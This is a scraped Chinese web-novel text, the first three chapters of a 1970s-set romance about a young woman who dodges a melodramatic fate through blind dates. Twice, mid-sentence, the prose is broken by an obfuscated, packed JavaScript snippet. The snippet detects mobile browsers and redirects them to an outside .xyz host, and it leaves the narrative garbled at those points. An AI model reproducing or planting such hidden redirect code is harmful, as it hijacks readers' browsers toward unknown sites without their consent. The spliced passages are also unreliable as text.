《苦情剧女主罢工了[七零]》 1. 第 1 章 1975年。 正值中午,复兴面店门口人来人往。 纪夏正穿着一条新做的布拉吉站在外面。 小碎花的布料,洁白的大翻领,衬得她皮肤白皙光滑,也为她招来了无数的视线。 但此刻,她却无暇理会这些关注。 因为,她马上就要开始自己的第一次相亲。 至于为什么要相亲呢? 事情还得从几天前说起—— 大约一个星期前,纪夏从高中毕业。 按照政策,她得跟着大部队下乡插队当知青。 纪夏本人对此是没什么意见的,也做好了去广大农村奉献自己的准备。 只不过交报名表的前一天晚上,她做了一个非常非常奇怪的梦。 按照梦里的说法,她其实是一本苦情年代剧的女主。 在下乡之后,她会遇到一个叫卫鸿哲的男知青,在对方穷追猛打的追求下,她很快便与他相恋了。 卫鸿哲与纪夏是同市人,家世却相当不俗,出身于市里的高级干部家庭。 他的母亲看不上普通工人家庭出身的纪夏,在得知两人相恋后,对他们的感情多加阻挠。 迫于家庭的压力以及卫母的苦苦相逼,卫鸿哲忍痛和纪夏分了手。 没想到纪夏此时却已经怀有身孕,眼看着卫鸿哲已经转而跟别的女人谈婚论嫁,纪夏伤心欲绝之下独自找了个地下诊所做流产手术,结果因为手术不正规,虽然勉强保住了一条命,但却也从此失去了做母亲的资格…… 此段流产剧情据说让无数妇女潸然泪下,泣不成声。 期间经过种种磨难,纪夏一一承受,并且用爱化解。 结局终于感动天感动地,感动了固执的卫母,得到其认可后,纪夏这才成功嫁入了卫家,达成了阖家欢喜的大团圆结局。 梦里的纪夏在和卫鸿哲结婚时,更是感动得直落泪。 纪夏看到这里被气醒了。 怀疑梦里的自己脑子是不是有毛病。 虽然她确实是很好说话,并且总是难以拒绝别人没错了…… 但,但这个梦中发生的事情也太欺负人了吧! 纪夏一怒之下……怒了一下! 很是无能地踢了一脚无辜的被子算是泄愤,然后被子往下巴一拉选择继续睡觉。 不过是个奇奇怪怪的梦罢了! 纪夏闭着眼睛嘟囔了一句,没太把这个梦放在心上。 然而到了第二天,这个梦却依然清晰地印刻在她的脑袋里挥之不去。 鬼使神差的,在去知青办交报名表的路上,纪夏拐了个弯,悄悄去了市委大院那边。 她记得梦中的卫母就是在那儿工作。 到了之后,又觉得自己傻里傻气。 还真把一个梦当真了。 懊恼着正要离开的时候,市委大楼大门处突然走出来一个中年女人。 视线还没来得及收回来的纪夏一下子就愣住了。 怎么回事??? 走出来的这个女人竟然和梦中的卫母长得一模一样! 只见这个中年女人身材偏瘦干瘪,梳着齐耳短发,两侧的碎发一丝不苟地用夹子掖在耳后。 她上半身穿着件白色的确良女士衬衣,下面穿着条军绿色长裤。 脸上没什么笑容,从鼻翼往下却有两道不轻不重的纹路,显得有些冷漠和不近人情。 纪夏半晌回不了神。 她可以肯定,除了梦里,自己在现实中从来没有见过卫母这个人! 本想用“一定是巧合”来安慰自己,却没想到下一秒又被打脸了。 另一个很年轻的男人出现了,走到中年女人面前,两人站在大门处的石阶上说话。 纪夏视线转移到年轻男人身上,更是眼前一黑—— 那不正是梦里的那个卫鸿哲吗!!! 说实话,卫鸿哲其实长得还不错。 穿着一身国防绿军装,清瘦挺拔,个子也高,算得上风度翩翩。 但纪夏想到那个梦,只觉得晴天霹雳! 大概是她的视线太明显,卫鸿哲母子俩突然朝她这边看过来。 纪夏吓了一大跳,忙不迭地撒腿跑了。 这下也没心思去交什么报名表了,纪夏心事重重地回了家。 脑子里全是梦里自己的凄惨场景。 虽然她是以旁观者角度看的,但看着那张和自己一模一样的脸,还是不免生出一种兔死狐悲之感。 纪夏有气无力地躺回床上,将脸埋进枕头里,没忍住直接哭了起来。 一想到自己以后竟然会过那样的日子,只觉得好想死。 天呐她到底做错了什么,为什么会这么惨? 有没有人来救救她啊! 恰好这时她妈金桂花风风火火地跑进来,抓住她劈头盖脸地就问:“死丫头,你上午去交报名表了是不是?” 纪夏擦了擦眼泪,摇头:“还没呢。” 金桂花瞪了她一眼,见她眼圈红红的,嘴里骂道:“你哭个屁,老娘都还没哭呢!” 金桂花这些天一直火急火燎地各种想法子想把纪夏留在城里。 倒不是她故意和国家政策作对,而是实在不放心啊! 说起来金桂花也觉得纳闷,明明自己性格火爆,怎么就生出纪夏这么一个软柿子来! 性格软就算了,关键是人还长得漂亮。 白白嫩嫩,又细胳膊细腿的,最是遭人惦记了。 不说别的,这几年来每天在他们家外面晃荡的男青年都多着呢! 用脚想都知道,那都是奔着纪夏来的! 只远远看着还好,敢凑上来,金桂花见一个打一个。 有金桂花在身边都这样了,这要是真下了乡,没她在身边看着,但凡遇到个胆子大不怀好意的,纪夏还不得让给人拆了吃了。 女知青下乡本就比男知青要危险得多了! 金桂花简直是操碎了心,愁得晚上都睡不着。 有时候,她真的是希望纪夏能长得平凡一点。 所以这些天琢磨来琢磨去得,最后还真被金桂花打听出个留城的法子。 于是她咳嗽了一声,开口:“夏夏,妈也不跟你兜圈子了,现在摆在你面前的就有两条路——” “第一条就是上山下乡,离家很远,人生地不熟,条件也没城里好,以后可能要在那边扎根结婚生子,再也回不了城回不了家。” 金桂花故意往严重了地方说。 主要是这丫头之前一直表示要响应国家政策,觉得自己不让她下乡是阻挠她进步! 但如果纪夏自个儿真铁了心要去插队的话,金桂花也想好了,到时候她就看看能不能托关系把纪夏安插到他们老家去,然后再拜托老家的亲戚帮她看着点。 虽然说是老家,但金桂花和丈夫已经二十多年没回去过了。 这还得怪当年小日本鬼子作孽,到处打仗,老家那边的亲人早就死的死,逃难的逃难。 等到终于解放之后,不少人也回去了,她和丈夫却把家安在了省城,后来身边又有几个孩子要照顾,也抽不出时间和精力回去。 但到底是老家,根还在那里,村子里也都沾亲带故的。 不怕一万就怕万一,反正金桂花已经写信回去联系了。 但这话她并不打算告诉纪夏。 免得这死丫头真头也不回地走了! “要么呢,就是赶紧在城里找个人结婚,离家近,不管有什么事,家里都能给你搭把手。” 话里话外偏向哪一个简直是一目了然。 纪夏虽然才高中毕业,但因为上学的时候刚好赶上文/革,停课了两年,现在年龄已经满二十了。 这都还超了法定结婚年龄两年呢! 如果可以,金桂花其实也不想女儿那么早就嫁人,但现在情况如此。 早点在城里嫁了,总比去了乡下好吧? 插队落户,那可是把户口都迁走了的,成了彻彻底底的农村人。 以后再想要回来,那可就难了。 “你是怎么打算的?”金桂花看了纪夏一眼,最后问道。 说实话,她现在心里也没底,拿不准纪夏到底会怎么选。 金桂花觉得纪夏八成还是会选下乡插队。 毕竟结婚这事对于一个刚从学校出来的女孩子来说太突然了。 没想到纪夏听完金桂花的话,却是眼睛一亮。 对哦,她还可以不下乡的诶! 惹不起她还躲不起吗! 虽然她是个软柿子没错,但她也可以努努力稍微变硬那么一点点的! 她,纪夏,决定要反抗!!! “我,我选结婚!”纪夏眼睛亮晶晶地说。 “哼,你以后自己不后悔就行!”金桂花撇撇嘴,“我已经给你小甘村的江二叔写信了,你还记得吧,你小时候他还来过咱们家的,到时你插队就住他家——” 说到一半,金桂花戛然而止:“等等,你刚刚说你选什么?” 纪夏却捕捉到了金桂花话里的关键词—— 小甘村! 江二叔! 那不正是梦里在她插队的地方,让她借住在家里的那个亲戚吗? 那个梦果然是真的! 思及此,纪夏更加坚定地点头:“我要结婚!” 金桂花激动得一拍大腿:“结婚好啊!” …… 既然纪夏自己都已经点头同意了,再加上上山下乡也迫在眉睫,金桂花马不停蹄地安排了起来。 短短几天过去,就经媒人介绍了个不错的对象,让纪夏去见个面。 约好的相看地点是纪夏现在站在门外的复兴面店。 纪夏性子软和,又长得漂亮可爱,小时候没少被打着调皮捣蛋旗号的男孩子欺负。 所以她一向对男生敬而远之,再加上家里保护得好,除了家里的两个哥哥之外,基本没什么和同龄男生相处的经验。 马上要和一个陌生男人相处,纪夏多少有些忐忑。 旁边的媒婆却是笑容满面地扯了扯纪夏的肩膀,热情地扯着她往饭店里面走去:“走吧,小纪同志,可别让人等久了。” 纪夏默默地跟在媒婆后面。 此时正值饭点,里头吃饭的人不少。 一眼望去没什么空桌子,戴着白色工作帽,胸前围着白围裙的服务员穿梭其中。 媒婆绕过桌子和食客,走到靠里侧的一张桌子前。 那后面坐着一个国字脸,戴眼镜的男人,穿着一件熨烫整齐的风光无限的绿军装,袖口往上捋着,露出手上戴着的手表。 “哎哟,小林,来多久了啊?”媒婆上前打招呼,脸上的笑容带着几分谄媚。 林祥安早就等得不耐烦了。 事实上,他对这次相亲没报什么期望。 主要是他对这个媒婆很不满,每次介绍前都说的天花乱坠,但介绍来的对象没一个让他满意的。 要不是这次她千保证万保证的,他压根就不会来。 林祥安不耐地抬起头,正要开口,眼睛瞥见媒婆后面的女孩,一下子就瞪直了眼睛,连眼珠子都不会转了。 只见她俏生生安静地站着,皮肤白皙,头发乌黑,身材纤细匀称,亭亭玉立,真是漂亮得让人移不开眼睛。 媒婆一见林祥安这表情,心里就有了谱,脸上笑意更甚。 立马拉着纪夏坐下,又热情地给两人介绍:“这是我跟你说过的,纪夏同志。” 纪夏抿唇微笑,礼貌地打了个招呼:“你好。” 林祥安这才如梦初醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072168|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回过神来。 “这位是林祥安同志,父母可都是市委的干部。”媒婆扬声道。 听到媒婆的吹捧,林祥安挺直腰杆,脸上也显露出几分傲气。 纪夏却是瞳孔一缩。 市委?那岂不是和卫鸿哲家一样? 天呐,这媒婆之前怎么没说啊! 她现在最怕的就是和卫鸿哲有什么牵扯了! 林祥安却是以为纪夏被自己的身份震到了,脸上不由浮现出几抹得意的神情。 媒婆又说了一通,在林祥安的眼神催促下,很善解人意地告辞了:“那行,你们两个年轻人自己先聊聊!” 纪夏眼巴巴地看着媒婆离开的背影,却也只能硬着头皮继续坐着。 林祥安忍不住又看向对面的纪夏。 想不通怎么会有人长得这么漂亮,皮肤简直比每月特供给他们家的牛奶都要白! 林祥安的目光让纪夏有些不适,她下意识皱了皱眉。 林祥安回过神咳嗽一声,特意将自己戴了银灿灿的上海牌的表的那只手伸出来,自以为风度翩翩地抓了抓头发,随后朗声道:“服务员,点菜!” 正在忙碌着的服务员悄悄翻了个白眼,走过来,拿起兜里的小本子和圆珠笔,问:“吃什么?” 林祥安很有风度地问纪夏:“你想吃什么?” 纪夏:“……你点吧。” 她想走…… 林祥安表现出一副常来的样子,熟门熟路地点起菜来。 纪夏撑着脸盯着有些油腻的桌面发呆。 与此同时,她身后的那张桌子正好空了,来了一高一矮两个男人。 高个子的男人肩宽腿长,面容英俊,半垂着眼,脸上没什么表情,浑身上下带着一种说不出来的气质。 稍矮一点的男人则是一脸笑眯眯的,叫住另一个服务员点菜。 服务员是个年轻小姑娘。 一走过来,眼睛就忍不住瞄向男人冷峻的侧脸。 杜长喜气笑了,用指关节敲了敲桌面,开玩笑道:“同志,看哪呢,我点菜呢!” 服务员小姑娘这才回神,立马闹了个大红脸:“两位吃什么?” “啧啧。”服务员走后,杜长喜意味深长地看向霍执。 霍执眼皮抬都不抬,懒得理他。 另一边,林祥安也点完了菜。 看向纪夏,又被她的美貌惊艳了一把,内心激动不已,捋了一把自己的头发,林祥安又自信满满地和纪夏说起话来。 先是不经意透露了一下自己的情况,父母的身份啊,自己是家里的独生子啊,现在的工作有多好啊等等等等,话里话外优越感十足。 引得周围不少人看过来。 纪夏只觉得好丢脸,非常想把自己的脸给挡住。 林祥安半点没察觉,反而越说越膨胀,心里认定纪夏已经被自己的条件折服。 毕竟这时候,哪个女孩子不以嫁入高干家为荣呢! 林祥安相亲那么多次,向来都只有他看不上对方的,从来没有看不上他的。 虽然自己对纪夏满意极了,但现在的女同志不比解放前,结婚后个个都恨不得爬到男人头上作威作福。 林祥安内心有点大男子主义,见不得这种,决定要先震慑震慑纪夏。 等结婚后,自己再对她好一点,到时她岂不是会感动得一塌糊涂,唯自己是从? 于是林祥安相当自信地开口了。 “你家成分是工人?之前和我相亲的都是些干部家的女儿。” “……是。” “你现在也没工作?” “……” “不过这也没什么,要是咱俩结婚,到时给你安排个工作还是很容易的。” “……” “还有,你知道的,我家里人都比较忙,嫁过来之后,你得多操持操持家务。” “……” “我家不重男轻女的,但还是希望以后能生个一儿一女,凑成一个好字。” 纪夏:“……” 好想死…… 她真是恨不得自己是个聋子。 有些人好端端地为什么要多长一张嘴啊? 纪夏心里很生气,但性格使然,憋红了脸也没能说出点什么。 于是只能冷着脸不说话,以此表明自己的态度。 但令人失望的是,对方压根没有注意到…… …… 这年头在复兴面店里吃饭,脸皮一定不能薄。 因为服务员可不会记得谁先点的。 须得你自己时刻盯着端菜出来的服务员,见她托盘里有自己点的那样,就立马吆喝一声,这样才能快速吃上。 林祥安忙着和纪夏聊天,于是都半天了,桌上还空荡荡什么都还没上来。 而和他们差不多时间点菜的杜长喜他们这一桌,大概是托了霍执这张脸的福,也不用杜长喜盯着,他们点的两碗面并一屉包子就已经被刚才给他们点菜的那个殷勤的服务员小姑娘给上齐了。 林祥安说话的声音不算小,至少杜长喜他们这一桌听得很清楚。 杜长喜一边往嘴里吸溜着面,一边竖着耳朵偷听。 大部分时间都是那个长得挺丑,牛皮却吹得怪响的男的在说一些屁话。 但那个女同志只软软地应了几声,听着一点脾气也没有。 杜长喜一个男的都听得火大,忍不住在桌下踢了踢霍执屈着的长腿,朝他挤眉弄眼,示意他一起看热闹。 霍执抬了抬眼皮,破天荒地朝纪夏的方向看了一眼。 很柔弱纤薄的一个背影,乌黑浓密的头发编成辫垂在胸前,露出的一截脖颈显得格外白皙细长,还没他手掌的一半大。 她身体姿态有些紧绷,霍执莫名能从中看出了“炸毛”两个字来。 2. 第 2 章 霍执来了兴趣,桌下的腿往前一伸,身体坐直,好整以暇地盯着她看。 只见她放在桌上的手紧握成拳头,挺起背来,看起来像是在蓄力。 正当霍执以为她马上就要反击的时候,却见她两只肩膀往下一塌,整个人重新垮了下来,蔫头耷脑的,像一只泄了气的皮球。 霍执:“……” 真是好——一只软柿子! 霍执没兴趣地移开了视线。 就在此时,林祥安点的吃的也姗姗来迟。 只见服务员用木托盘端着两碗热气腾腾的面朝他们这桌走过来。 快走近时,恰巧旁边一桌有人吃完站起来,后背和送面的服务员撞了下。 服务员被这么一撞,往前一摔,好在她反应很快自己稳住了,但手里的面碗却是往前一泼,方向还正对着纪夏。 这突如其来的变故直接让纪夏懵了。 眼看着滚烫的面汤朝自己泼来,她感觉自己手臂被人狠狠一扯,整个人被拉着站起来往后一倒。 伴随着一阵桌椅摩擦地面的巨大声响,纪夏的后腰猛地撞上桌沿,疼得她眼泪一下子就涌上来。 忍着痛意,她眼睛撞见一张冷峻的脸。 正是那个拽她的男人。 男人随意看她一眼,眉毛几不可见地往上一挑。 那碗面汤也尽数泼了出去,正是纪夏刚刚坐着的地方。 如果没有躲开,势必会直接泼到她的脸上。 另外一小部分溅到了纪夏的裙子上,隔着布料往下流淌,黏腻不已。 纪夏手撑着背后的桌子站直,向男人道了一声谢。 林祥安也站起来,瞪了霍执一眼,绕过来就要伸手抓纪夏的胳膊:“纪夏同志,你没事吧?” 纪夏立马往后躲了躲:“没关系。” 这让林祥安有些尴尬,转而对着服务员发火:“你这个服务员怎么回事?” 服务员也不甘示弱,当即跟他吵了起来。 饭店里顿时陷入一片混乱。 纪夏头疼不已,盯着自己被弄脏的裙子,突然意识到这正是一个溜走的好机会。 她往后挪了两步,朝林祥安说:“那个,我衣服脏了,就先走了。” 话都还没说完,更没等林祥安同意,纪夏已经飞速转身溜之大吉。 林祥安见状,也顾不得和服务员吵了,立马就要追。 刚走没几步,脚底就踩到地上油腻湿滑的面汤,直接摔了个人仰马翻。 等眼冒金星坐起来时,发现纪夏早就跑得没影了。 林祥安真是气得要死,对着服务员大吼:“怎么回事,把你们面店经理叫我出来!” …… 看完热闹的杜长喜和霍执走出饭店。 一出饭店大门,杜长喜就憋不住笑了起来。 “那男的真是个傻帽,活该哈哈哈哈哈!” “还有那个女同志,啧,性格也太软了,这都不生气? “也有一种可能,那男的不是说自己家是高干吗,那女同志八成是想嫁给他,所以才这么能屈能伸!” “啧,高干啊,高干好了不起哦!”杜长喜意味深长地“啧啧”两声。 话虽这么说,杜长喜却没什么太多羡慕或者嫉妒的情绪。 毕竟他觉得自己也不差。 杜长喜和霍执都是红卫机械厂的员工。 红卫机械厂那可是他们省城里赫赫有名的国营军工厂。 早些年,一直都是以三一三的代号称呼,前几年才改了名叫红卫机械厂。 厂区直接是有部队进驻,持枪保卫,进出都得凭通行证,保密工作也是相当严格,在外人看来那是既神秘又庄严肃穆。 两人这次是刚从外地出完任务回来,马上还得回厂里交班。 瞧见没,路边停着的那辆极为引人注目的军绿色卡车就是他们开过来的。 这年头路上的汽车少得可怜,能开上车的更是凤毛麟角。 工资高福利好,说出去还倍有面子。 正如时下流行的一句话说的那样:“方向盘一转,给个县长都不干”,杜长喜连走路都是飘着的,压根不羡慕什么高干子弟! “你说那个女同志是因为哪个原因?”杜长喜一边走一边用肩膀撞了撞霍执,“对了,我刚才就发现了,你当时一直在看那个女同志,起码看了五分钟!” 杜长喜伸出手指,比出个“五”来。 “你说你是不是看上人家了?”杜长喜两嘴一张就是造谣。 霍执“呵”了一声,懒得搭理他。 顶着众人艳羡的眼光,两人拉开卡车的车门上了车。 …… 纪夏一路上仿佛背后有饿狼在追似地跑回了家。 金桂花正在家里翘首以盼地等着,纪夏一回来,她就注意到了她脏了好大一块的裙子,眉头一皱:“怎么弄成这样了?” 纪夏一副惊魂未定的样子。 “到底怎么回事?”金桂花皱着眉头追根问底。 纪夏一边丧着脸,一边对金桂花复述了一遍刚刚相亲的事。 金桂花光是听着纪夏的转述就已经火冒三丈了,叉腰大骂道:“什么玩意儿啊!” “不行,我得去找那个媒婆掰扯掰扯,这都介绍的什么对象!”金桂花站起来说。 还高干子弟呢! 二流子还差不多! 一旁正翘着腿听着的纪国庆看热闹不嫌事大,摇头晃脑张口就来:“人家条件那么好,我看小妹你忍忍嫁过去算了,到时候说不定咱家也能跟着你沾沾光呢!” 纪夏气死了,朝她妈喊道:“妈,你看他!” 一个聪明的软柿子往往会选择给自己找一个强有力的外援。 果然,下一秒,金桂花就直接脱了鞋子朝纪国庆身上抽去:“你个兔崽子,你再说一遍?” 纪国庆被狠狠抽了几下,立马讨饶吼道:“妈,我错了我错了!” 金桂花没忍住又抽了他几下,骂道:“你妹妹现在这样都怪你!” “又关我什么事!”纪国庆哀嚎。 “怎么不关你的事!要不是你占了名额,你妹哪里需要通过嫁人留城!”金桂花耿耿于怀道。 本来按照上山下乡政策,每户人家是可以有一个子女不用下乡,在城里照顾父母的。 纪家一共三个孩子。 老大纪胜十六岁就去参了军,老二纪国庆却留在了城里,把留城的名额给占掉了。 于是纪夏也只能去插队了。 因为还没交报名表,街道都已经来人催好几回了,金桂花都快要急死了。 那纪夏不管不顾,就是赖在城里不下乡行不行? 那也不是不行。 但可能就是会对家人的工作生活有些影响,变成所谓的落后分子。 其他人倒是没什么所谓,主要是在部队的大儿子那边有点儿难办。 纪家老大从小就努力懂事又疼爱妹妹,这么多年一个人在部队也不容易,金桂花和纪夏都不好意思拖他后腿。 这么一盘算,金桂花便越发看从小调皮捣蛋,长大后吊儿郎当没个正型的二儿子不顺眼! 纪国庆举着手讨饶:“行行行,都是我的错行了吧!” 纪国庆觉得自己冤死了! 虽然从表面上看,确实和他有点关系,但也不能全怪他吧! 事情还得从文/革说起,那时候学校停了课,全国各地的大中学生都在搞大串联,纪国庆也没错过这个热闹,跟着大部队全国上下到处跑,坐车吃饭住宿全都免费,日子过得可真是开心极了。 但这么一搞,心也野了。 等到两年后复课时,纪国庆都十五六岁了。 纪国庆本来就上学晚,是跟着小他两岁的纪夏一起入的学,停课前连小学都没毕业呢。 现在复课了,又得重读一年小学,本就不爱念书的纪国庆当即不干了,干脆利落地就辍了学。 知青知青,知识青年。 纪国庆这个连小学文凭都没有的人,连边都沾不上,自然也就不用上山下乡了。 反正就这么在城里游手好闲了几年,受了金桂花不少白眼。 但纪国庆幸运,没两年刚好赶上了一波城里难得的招工。 这时候绝大多数的年轻人都下乡去插了队,城里年轻人少,竞争也不大,竟然让纪国庆捡了个大便宜,进工厂当了学徒,此后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072169|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按部就班地成了正式工人。 所以啊,有些事情真是说不清楚。 金桂花骂骂咧咧了一阵,风风火火出门找媒婆算账去了。 纪夏也板着脸回房把身上的脏裙子换下来,不想搭理她不着调的二哥。 纪国庆举头望天:“我真是招谁惹谁了啊!” …… 另一边,霍执和杜长喜也回到了红卫机械厂。 红卫机械厂位于郊外,出城后需要先经过某个公社大队,就能看见一条长达几千米直接通网机械厂的水泥路。 厂里面的正式职工有近两千人。 职工们都生活在厂区外围的家属区里。 红卫机械厂的家属区生活条件放在全市都是顶呱呱,不仅拥有职工食堂,还有医院、托儿所、供销社、邮电所等一系列设施,能满足工人们的各种生活所需。 相比于家属区的温馨热闹,厂区内部就要庄严得多了。 机械厂厂区位于家属区的里侧,经由生活区的一条主干道驶入。 远远望去,只见大门岗威严肃穆,门岗左右皆延伸着全封闭带铁丝网的围墙。 再走近一些,还能看到两侧正持枪站岗地执勤人员。 要想进入厂区,即使是本厂职工,也得出示工作证。 交还车队的卡车并汇报完工作后,霍执和杜长喜从戒备森严的厂区出来,准备回厂里给他们单身员工安排的宿舍大楼的澡堂洗个澡。 刚踏进楼梯口,就碰见楼道底下站着个正和人聊着天的精神矍铄的小老太太。 霍执一见到老太太,就觉得大事不妙。 还没来得及溜,老太太一双眼睛就跟猫似的看了过来,脸上似笑非笑:“回来了啊?” 不用想,就知道老太太是在这专门堵着他们的。 老太太名为钱英,别看她看着平易近人,衣着也相当朴素,但其身份却是红卫机械厂的厂长夫人。 但霍执和杜长喜都是厂里的干部子弟,从小也是钱英看着长大的,见到她也是嘻嘻哈哈地打了个招呼:“钱婶。” “钱婶,几天不见,我怎么觉着你变年轻了啊!”杜长喜小嘴跟抹了蜜似的。 “油腔滑调的!”钱英瞪他一眼,斜着眼睛看向霍执:“上星期让你去相亲,怎么又放人家女同志鸽子?” “临时有任务。”霍执严肃着一张脸,一板一眼地回答,“我找人让人过去告诉她了。” “借口!”钱英瞪他,“我看你就是不想去相亲!” 霍执摸摸鼻子,不说话了,像是在默认。 钱英气得又瞪他。 眼看着事情变得严重起来,霍执朝一旁看热闹的杜长喜使了个眼色。 到底是从小一起长大的好兄弟,杜长喜立马会意,挺身而出,霍执则趁机溜了。 “钱婶,你也太偏心了,只给我执哥介绍对象,从来都没我的份啊!”杜长喜假装嫉妒地说。 “你小子上小学那会儿就知道给女孩子写情书了,还需要我给你介绍对象?”钱英瞪他,“再说这事还有你妈给你张罗,我上去凑什么热闹?” 杜长喜:“……” 怎么八百年前的事还拿出来说啊! 钱英撇撇嘴。 反正不像霍执,爹没了,又摊上那么个继母,跟孤儿没什么分别。 光凭他们家老文跟霍执他爹的交情,自己怎么着也得多帮衬这点,让他早点成个家,别总是孤身一人。 可惜那臭小子不领情,回回给他介绍对象,要么就是见都不见,要么就是见了面也不说话,就冷着一张脸,回回能给人家小姑娘气哭! 不然就凭他这条件,这长相,想嫁给他的小姑娘那都得排长队! “你跟霍执每天形影不离的,你说说,霍执他到底喜欢什么样的女同志啊?”钱英拉着杜长喜打听。 “这我哪能知道啊!”杜长喜耸肩。 反正他从小到大就没见霍执有多看哪个女孩子一眼。 等等,好像还真有一个! 杜长喜想起刚刚在国营面店的事。 他嘿嘿一笑:“钱婶你别说,倒是有一个!” “你快跟我说说!”钱英立马追问起来。 3. 第 3 章 市委大院家属区。 卫鸿哲刚从外地探亲回来,一天一夜的火车,一身的风尘仆仆。 卫母心疼不已:“一路上累了吧?要不先去冲个澡放松放松。” 卫鸿哲点头。 等他冲完澡回来后,桌上已经摆上了可口的饭菜。 卫母盛了一碗香喷喷的白米饭,又将盘子里大半的肉都夹给了儿子。 卫鸿哲是真饿了,也没客气,拿起饭碗就开始埋头吃。 卫母一脸慈爱地看着卫鸿哲:“慢点吃,还有呢!” 卫鸿哲“嗯”了一声。 “回来后在家呆几天就要去插队了吧?”想到这里,卫母叹了一口气,不由对丈夫有些埋怨。 卫鸿哲是唯一留在他们夫妻俩身边的孩子,按照丈夫的级别,完全可以在城里给卫鸿哲安排个不错的工作,像林家那个林祥安不就是这样? 偏偏丈夫却要求儿子下乡去插队! 虽然她也不是不明白,丈夫这样做是为了卫鸿哲以后履历能更好看一些。 让他先在乡下锻炼几年,然后再找机会调回来,对以后的仕途也能更有帮助。 但卫母到底心疼。 去乡下多遭罪啊,条件那么差,还吃不饱穿不暖的。 但丈夫的决定不容置疑,况且儿子自己也愿意。 “插队去哪儿,定了吗?”卫母问了一句。 “还没,得听组织上的安排。” 卫母倒是有点想凭关系把卫鸿哲分配到一个条件好点的公社。 但想想还是作罢了,丈夫应该有自己的安排,自己贸然插手,坏了他的事就不好了。 但看着优秀无比的儿子,卫母内心自豪不已。 不是她吹,他们大院子弟里,就属她家儿子最为优秀,其他那些连给卫鸿哲提鞋都不配,林家那个小子就更不用说了。 说起林家小子,卫母就想起这几天发生的一件事,当笑话一样讲给卫鸿哲听:“你这几天不在,咱们院里边倒是发生了一件趣事。” “嗯?”卫鸿哲抬眼。 “祥安啊,不知道怎么回事,看上了个女同志,现在闹得厉害呢。”卫母脸上带着笑。 林祥安和卫鸿哲同龄,两人父亲职级也差不多,难免一直被拿来比较。 但只要有眼睛的人,都看得出来两人谁优谁劣。 现在林祥安闹出这么荒唐的事,卫母心中鄙夷更甚,但也乐得看笑话。 卫鸿哲对此没什么兴趣,但卫母此时谈兴正浓,根本停不下来:“说是那女同志不太愿意。” “听说人倒是长得漂亮极了,到底是小门小户的工人家庭出身,眼皮子还是浅了些。”卫母摇了摇头。 虽然她自己是不太看得上林祥安的,但也觉得那个拒绝林祥安的女同志有些不识好歹了。 林祥安再怎么说也是高干子弟,她一个工人家的女儿要是能嫁进来,那已经祖上烧了高香了。 要知道,像他们这样的身份,放在以前那都是达官贵人,结亲讲究门当户对,可不是什么阿猫阿狗随随便便能攀得上的! 当然,这话卫母也只敢在心里想想,一点儿也不敢表露出来的。 说起结亲的事,卫母看向卫鸿哲不由得有些担忧一抹担忧。 于是,她状似开玩笑地说:“鸿哲,你下乡可不准谈恋爱啊!” 卫鸿哲筷子一停:“我没想这些。” 脑海里突然浮现一张有些模糊的脸。 好像是他探亲前去市委大楼找卫母时遇见的,一个盯着他看的年轻女同志。 皮肤很白,长得很漂亮的一个怯生生的小姑娘。 被他发现后就一脸惊慌地跑走了。 很匆匆的一面,甚至连她的脸都没看清,但卫鸿哲不知为何就一直记着没忘记。 卫母见卫鸿哲答应了,稍稍松了一口气。 她是相信自家儿子的,但就是怕乡下有些不安分的小妖精。 自家儿子如此优秀,要家世有家世,要长相有长相,被那些有心计的小蹄子看到了,不扑上来才怪! 卫母根本看不上那些小门小户的女人。 她心里早已有了满意的儿媳妇人选。 此人正是何市长家的千金何婉如。 何婉如从小就喜欢跟在卫鸿哲后面跑,见到她也总是亲切地一口一个阿姨地叫,显然也是对儿子有点意思的。 等到儿子插队回来了,要是能和何婉如凑成一对,那真是再好不过了! …… 纪家这几天过得相当愁云惨淡。 原因当然是因为那个林祥安。 这人也不知道是怎么回事,自从上次相亲过后,就惦记上了纪夏。 明确和他说了拒绝的话,他也跟听不懂一样,一直死缠着纪夏不放。 甚至还找上他们家来了好几回。 纪夏本来还有几个相亲对象的。 也不知道林祥安怎么做到每次都能得到消息,纪夏相一个他搅和一个! 而那些软蛋们得知林祥安的背景,竟然都不敢和纪夏来往了! 金桂花那是又气又后悔。 早知道刚开始媒婆介绍时,就不贪图林祥安的条件了,不然也没那么多破事了。 弄得现在他们是进退两难。 婚事没个着落,街道知青办那边因为纪夏迟迟没报名上山下乡,上门催得也越发的急了。 纪夏也没想到会发生这样的事。 对于林祥安的纠缠,纪夏也很烦。 现在是新社会了,林祥安虽然不敢做出强占纪夏这样的事,但凭借自己的身份,让人不敢娶纪夏,却是很容易的。 再加上现在留城的年轻人本来就少,都不愿意惹是生非。 纪夏想通过结婚留城的这条路算是堵死了。 除非她嫁给林祥安。 但只要一想到要和这人结婚,纪夏觉得还不如死了算了。 金桂花也知道这一点,但一时间还真没什么办法。 她是一点儿都看不上林祥安这种人的。 想着最后实在不行,只能退而求其次,将纪夏嫁到周边富裕一点的农村里去了。 一想到这里,金桂花都恨不得拿把菜刀把林祥安给剁了。 …… 就在纪家这样一片乌云密布的时候,一个老太太找上了门。 这老太太不是别人,正是钱英。 金桂花开门见到一个陌生面孔,面露警惕:“你找谁?” 钱英未语先笑:“是纪夏家吗?我是来做媒的!” 